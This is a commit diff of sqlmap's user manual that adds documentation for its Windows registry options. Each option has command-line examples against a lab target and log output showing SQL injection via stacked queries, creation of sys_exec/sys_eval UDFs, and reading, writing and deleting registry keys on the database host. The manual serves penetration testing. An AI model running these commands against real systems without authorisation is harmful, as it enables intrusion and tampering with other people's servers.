Skip to content

Commit bfbf58b

Browse files
bdamelebdamele
committed
Generated new user's manual html and pdf
1 parent ee89709 commit bfbf58b

File tree

2 files changed

+133
-24
lines changed

2 files changed

+133
-24
lines changed

‎doc/README.html

Lines changed: 133 additions & 24 deletions
Original file line numberDiff line numberDiff line change
@@ -5345,54 +5345,163 @@ <H3>Database stored procedure heap-based buffer overflow exploit</H3>
53455345
<H2><A NAME="ss5.11">5.11</A> <A HREF="#toc5.11">Windows registry access</A>
53465346
</H2>
53475347

5348+
<P>It is possible to access Windows registry when the back-end
5349+
database management system is either MySQL, PostgreSQL or
5350+
Microsoft SQL Server, and when the underlying database layer
5351+
supports stacked SQL queries. Also, session user has to have
5352+
the needed privileges to access it.</P>
5353+
53485354
<H3>Read a Windows registry key value</H3>
53495355

53505356
<P>Option: <CODE>-</CODE><CODE>-reg-read</CODE></P>
53515357

5352-
<P>TODO</P>
5353-
5354-
5355-
<H3>Write a Windows registry key value data</H3>
5356-
5357-
<P>Option: <CODE>-</CODE><CODE>-reg-add</CODE></P>
5358-
5359-
<P>TODO</P>
5360-
5358+
<P>Using this option you can read registry key values.</P>
53615359

5362-
<H3>Delete a Windows registry key value</H3>
5360+
<P>Example on a <B>PostgreSQL 8.4</B> target:</P>
5361+
<P>
5362+
<BLOCKQUOTE><CODE>
5363+
<PRE>
5364+
$ python sqlmap.py -u http://172.16.213.128/sqlmap/pgsql/get_int.php?id=1 --reg-read
53635365

5364-
<P>Option: <CODE>-</CODE><CODE>-reg-del</CODE></P>
5366+
[...]
5367+
web server operating system: Windows
5368+
web application technology: PHP 5.3.1, Apache 2.2.14
5369+
back-end DBMS: PostgreSQL
53655370

5366-
<P>TODO</P>
5371+
[hh:mm:15] [INFO] testing stacked queries support on parameter 'id'
5372+
[hh:mm:15] [INFO] detecting back-end DBMS version from its banner
5373+
[hh:mm:15] [INFO] retrieved: 8.4.2,
5374+
[hh:mm:23] [INFO] the web application supports stacked queries on parameter 'id'
5375+
[hh:mm:23] [INFO] fingerprinting the back-end DBMS operating system
5376+
[hh:mm:23] [INFO] retrieved: 1
5377+
[hh:mm:23] [INFO] the back-end DBMS operating system is Windows
5378+
[hh:mm:23] [INFO] testing if current user is DBA
5379+
[hh:mm:23] [INFO] retrieved: 1
5380+
[hh:mm:23] [INFO] checking if UDF 'sys_eval' already exist
5381+
[hh:mm:23] [INFO] retrieved: 0
5382+
[hh:mm:24] [INFO] checking if UDF 'sys_exec' already exist
5383+
[hh:mm:24] [INFO] retrieved: 0
5384+
[hh:mm:25] [INFO] creating UDF 'sys_eval' from the binary UDF file
5385+
[hh:mm:25] [INFO] creating UDF 'sys_exec' from the binary UDF file
5386+
which registry key do you want to read? [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\
5387+
CurrentVersion]
5388+
which registry key value do you want to read? [ProductName]
5389+
[hh:mm:34] [INFO] reading Windows registry path 'HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
5390+
Windows NT\CurrentVersion\ProductName'
5391+
[hh:mm:35] [INFO] retrieved: ProductName REG_SZ Microsoft Windows XP
5392+
Registry key value data: 'ProductName REG_SZ Microsoft Windows XP'
5393+
</PRE>
5394+
</CODE></BLOCKQUOTE>
5395+
</P>
5396+
5397+
<H3>Write a Windows registry key value</H3>
53675398

5399+
<P>Option: <CODE>-</CODE><CODE>-reg-add</CODE></P>
53685400

5369-
<H3>Windows registry key</H3>
5401+
<P>Using this option you can write registry key values.</P>
53705402

5371-
<P>Option: <CODE>-</CODE><CODE>-reg-key</CODE></P>
5403+
<P>Example on a <B>PostgreSQL 8.4</B> target:</P>
5404+
<P>
5405+
<BLOCKQUOTE><CODE>
5406+
<PRE>
5407+
$ python sqlmap.py -u http://172.16.213.128/sqlmap/pgsql/get_int.php?id=1 --reg-add
53725408

5373-
<P>TODO</P>
5409+
[...]
5410+
web server operating system: Windows
5411+
web application technology: PHP 5.3.1, Apache 2.2.14
5412+
back-end DBMS: PostgreSQL
53745413

5414+
[hh:mm:20] [INFO] testing stacked queries support on parameter 'id'
5415+
[hh:mm:20] [INFO] detecting back-end DBMS version from its banner
5416+
[hh:mm:20] [INFO] retrieved: 8.4.2,
5417+
[hh:mm:29] [INFO] the web application supports stacked queries on parameter 'id'
5418+
[hh:mm:29] [INFO] fingerprinting the back-end DBMS operating system
5419+
[hh:mm:29] [INFO] retrieved: 1
5420+
[hh:mm:30] [INFO] the back-end DBMS operating system is Windows
5421+
[hh:mm:30] [INFO] testing if current user is DBA
5422+
[hh:mm:30] [INFO] retrieved: 1
5423+
[hh:mm:30] [INFO] checking if UDF 'sys_exec' already exist
5424+
[hh:mm:30] [INFO] retrieved: 0
5425+
[hh:mm:06] [INFO] creating UDF 'sys_exec' from the binary UDF file
5426+
which registry key do you want to write? HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap
5427+
which registry key value do you want to write? Test
5428+
which registry key value data do you want to write? 1
5429+
which registry key value data-type is it? [REG_SZ] REG_DWORD
5430+
[hh:mm:41] [INFO] adding Windows registry path 'HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap\Test'
5431+
with data '1'. This will work only if the user running the database process has privileges
5432+
to modify the Windows registry.
5433+
</PRE>
5434+
</CODE></BLOCKQUOTE>
5435+
</P>
53755436

5376-
<H3>Windows registry key value</H3>
5437+
<H3>Delete a Windows registry key</H3>
53775438

5378-
<P>Option: <CODE>-</CODE><CODE>-reg-value</CODE></P>
5439+
<P>Option: <CODE>-</CODE><CODE>-reg-del</CODE></P>
53795440

5380-
<P>TODO</P>
5441+
<P>Using this option you can delete registry keys.</P>
53815442

5443+
<P>Example on a <B>PostgreSQL 8.4</B> target:</P>
5444+
<P>
5445+
<BLOCKQUOTE><CODE>
5446+
<PRE>
5447+
$ python sqlmap.py -u http://172.16.213.128/sqlmap/pgsql/get_int.php?id=1 --reg-del
53825448

5383-
<H3>Windows registry key value data</H3>
5449+
[...]
5450+
web server operating system: Windows
5451+
web application technology: PHP 5.3.1, Apache 2.2.14
5452+
back-end DBMS: PostgreSQL
53845453

5385-
<P>Option: <CODE>-</CODE><CODE>-reg-data</CODE></P>
5454+
[hh:mm:20] [INFO] testing stacked queries support on parameter 'id'
5455+
[hh:mm:20] [INFO] detecting back-end DBMS version from its banner
5456+
[hh:mm:20] [INFO] retrieved: 8.4.2,
5457+
[hh:mm:29] [INFO] the web application supports stacked queries on parameter 'id'
5458+
[hh:mm:29] [INFO] fingerprinting the back-end DBMS operating system
5459+
[hh:mm:29] [INFO] retrieved: 1
5460+
[hh:mm:30] [INFO] the back-end DBMS operating system is Windows
5461+
[hh:mm:30] [INFO] testing if current user is DBA
5462+
[hh:mm:30] [INFO] retrieved: 1
5463+
[hh:mm:30] [INFO] checking if UDF 'sys_exec' already exist
5464+
[hh:mm:30] [INFO] retrieved: 0
5465+
[hh:mm:06] [INFO] creating UDF 'sys_exec' from the binary UDF file
5466+
which registry key do you want to delete? HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap
5467+
which registry key value do you want to delete? Test
5468+
are you sure that you want to delete the Windows registry path 'HKEY_LOCAL_MACHINE\SOFTWARE\
5469+
sqlmap\Test? [y/N] y
5470+
[hh:mm:26] [INFO] deleting Windows registry path 'HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap\Test'.
5471+
This will work only if the user running the database process has privileges to modify the
5472+
Windows registry.
5473+
</PRE>
5474+
</CODE></BLOCKQUOTE>
5475+
</P>
53865476

5387-
<P>TODO</P>
53885477

5478+
<H3>Auxiliary registry switches</H3>
53895479

5390-
<H3>Windows registry key value type</H3>
5480+
<P>Options: <CODE>-</CODE><CODE>-reg-key</CODE>, <CODE>-</CODE><CODE>-reg-value</CODE>,
5481+
<CODE>-</CODE><CODE>-reg-data</CODE> and <CODE>-</CODE><CODE>-reg-type</CODE></P>
53915482

5392-
<P>Option: <CODE>-</CODE><CODE>-reg-type</CODE></P>
5483+
<P>These switches can be used to provide data needed for proper running of
5484+
options <CODE>-</CODE><CODE>-reg-read</CODE>, <CODE>-</CODE><CODE>-reg-add</CODE> and
5485+
<CODE>-</CODE><CODE>-reg-del</CODE>. So, instead of providing registry key
5486+
information when asked, you can use them at command prompt as program
5487+
arguments.</P>
53935488

5394-
<P>TODO</P>
5489+
<P>With <CODE>-</CODE><CODE>-reg-key</CODE> option you specify used windows
5490+
registry key path, with <CODE>-</CODE><CODE>-reg-value</CODE> value item
5491+
name inside provided key, with <CODE>-</CODE><CODE>-reg-data</CODE> value
5492+
data, while with <CODE>-</CODE><CODE>-reg-type</CODE> option you specify
5493+
type of the value item.</P>
53955494

5495+
<P>So, another way of running example from option
5496+
<CODE>-</CODE><CODE>-reg-add</CODE> could be:</P>
5497+
<P>
5498+
<BLOCKQUOTE><CODE>
5499+
<PRE>
5500+
$ python sqlmap.py -u http://172.16.213.128/sqlmap/pgsql/get_int.php?id=1 --reg-add \
5501+
--reg-key=HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap --reg-value=Test --reg-type=REG_SZ --reg-data=1
5502+
</PRE>
5503+
</CODE></BLOCKQUOTE>
5504+
</P>
53965505

53975506
<H2><A NAME="ss5.12">5.12</A> <A HREF="#toc5.12">Miscellaneous</A>
53985507
</H2>

‎doc/README.pdf

1.72 KB
Binary file not shown.

0 commit comments

Comments
 (0)